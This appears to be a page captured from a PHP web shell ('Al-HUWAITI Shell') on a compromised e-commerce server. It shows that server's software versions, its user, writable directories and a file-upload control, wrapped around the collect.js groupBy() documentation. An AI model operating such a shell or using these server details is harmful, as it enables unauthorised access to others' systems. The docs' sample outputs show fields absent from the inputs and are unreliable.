Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /proc/thread-self/root/var/www/ecommerce/node_modules/collect.js/docs/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/var/www/ecommerce/node_modules/collect.js/docs/api/groupBy.md
# `groupBy()`

The groupBy method groups the collection's items into multiple collections by a given key:

> If you want to group the collection by keys as a plain object, see [mapToGroups](mapToGroups)

```js
const collection = collect([
  {
    product: 'Chair',
    manufacturer: 'IKEA',
  },
  {
    product: 'Desk',
    manufacturer: 'IKEA',
  },
  {
    product: 'Chair',
    manufacturer: 'Herman Miller',
  },
]);

const grouped = collection.groupBy('manufacturer');

grouped.all();

// {
//   IKEA: Collection {
//     items: [
//        {
//          id: 100,
//          product: 'Chair',
//          manufacturer: 'IKEA',
//          price: '1490 NOK',
//        },
//        {
//          id: 150,
//          product: 'Desk',
//          manufacturer: 'IKEA',
//          price: '900 NOK',
//        },
//      ],
//   },
//   'Herman Miller': Collection {
//     items: [
//       {
//         id: 200,
//         product: 'Chair',
//         manufacturer: 'Herman Miller',
//         price: '9990 NOK',
//       },
//     ],
//   },
// }
```

In addition to passing a string key, you may also pass a callback. The callback should return the value you wish to key the group by:

```js
const collection = collect([
  {
    product: 'Chair',
    manufacturer: 'IKEA',
  },
  {
    product: 'Desk',
    manufacturer: 'IKEA',
  },
  {
    product: 'Chair',
    manufacturer: 'Herman Miller',
  },
]);

const grouped = collection.groupBy((item, key) => item.manufacturer.substring(0, 3));

grouped.all();

// {
//   IKE: Collection {
//     items: [
//       {
//         id: 100,
//         product: 'Chair',
//         manufacturer: 'IKEA',
//         price: '1490 NOK',
//       },
//       {
//         id: 150,
//         product: 'Desk',
//         manufacturer: 'IKEA',
//         price: '900 NOK',
//       },
//     ],
//   },
//   Her: Collection {
//     items: [
//       {
//         id: 200,
//         product: 'Chair',
//         manufacturer: 'Herman Miller',
//         price: '9990 NOK',
//       },
//     ],
//   },
// }
```

[View source on GitHub](https://github.com/ecrmnn/collect.js/blob/master/src/methods/groupBy.js)

Al-HUWAITI Shell